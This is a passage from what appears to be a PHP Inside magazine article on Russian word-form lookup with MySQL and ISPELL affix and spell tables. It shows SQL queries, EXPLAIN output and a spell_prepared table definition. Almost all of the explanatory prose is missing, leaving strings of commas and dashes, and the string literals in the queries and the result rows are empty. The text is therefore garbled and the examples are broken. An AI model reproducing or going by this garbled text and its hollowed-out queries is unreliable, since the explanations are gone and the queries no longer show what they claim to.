    (affix.type = 's'), spell.lang =affix.lang, .. . , , - , (, affix.lang = 'ru').

    s.word = '' s.word in ('word_1','word_2',...,'word_N'), N , .

    , ., , - , - . :

    "13" - .

    125

    +---------+| FORM |+---------+| || || || || || || || || |+---------+9 rows in set (0.01 sec)

    mysql> SELECT DISTINCT -> CONCAT(LEFT('',13-LENGTH(a.repl)),a.find) as FORM -> FROM affix a, spell s -> WHERE RIGHT('',LENGTH(a.repl))=a.repl -> AND INSTR(s.flag,a.flag) -> AND a.type='s' -> AND a.lang=s.lang -> AND CONCAT(LEFT('',13-LENGTH(a.repl)),a.find)=s.word -> AND CONCAT(LEFT('',13-LENGTH(a.repl)),a.find) RLIKE a.mask;

    +-------------+| FORM |+-------------+| |+-------------+1 row in set (0.05 sec)

  • PHP Inside 7 PHP, MYSQL ISPELL

    :

    , . :

    , - , . "" , - . , - , - : mysql , key_buffer, . - ( , - , "-" ..).

    spell_prepared :

    126

    mysql> explain

    -> [ ]

    | table | type | possible_keys | key | key_len | ref | rows | Extra |

    | a | ALL | NULL | NULL | NULL | NULL | 1201 | where used; Using temporary |

    | s | ref | idx_spell_word| idx_spell_word | 32 | func | 59 | where used; Distinct |

    2 rows in set (0.00 sec)

    create table spell_prepared ( word varchar(32) not null, form varchar(32) not null, index idx_sp_wf(word,form), index idx_sp_fw(form,word));

    select s.word, concat(left(s.word,length(s.word)-length(a.find)),a.repl) as form

    from spell as s, affix as a

    where instr(s.flag,a.flag)

    and s.lang=a.lang

    and a.type='s'

    and s.word regexp a.mask;

  • PHP Inside 7 PHP, MYSQL ISPELL

    spell_prepared:

    , spell_prepared co - , - , , "" - . "" .

    , ,

    : - - ? - , , , - . - , . .

    1) search_index .

    - "" , , .

    - "" - . SQL- : -, word in (...) ; - - , .. : max(word in ('','-','','','','','','','')),, , .

    - "" "".

    2) search_index .

    127

    mysql> explain select form from spell_prepared where word = '';| table | type | possible_keys | key | key_len | ref | rows |Extra || spell_prepared | ref | idx_sp_wf | idx_sp_wf | 64 | const | 14 |where used; Using index |1 row in set (0.00 sec)

    mysql> explain select word from spell_prepared where form = '';| table | type | possible_keys | key | key_len | ref | rows |Extra || sp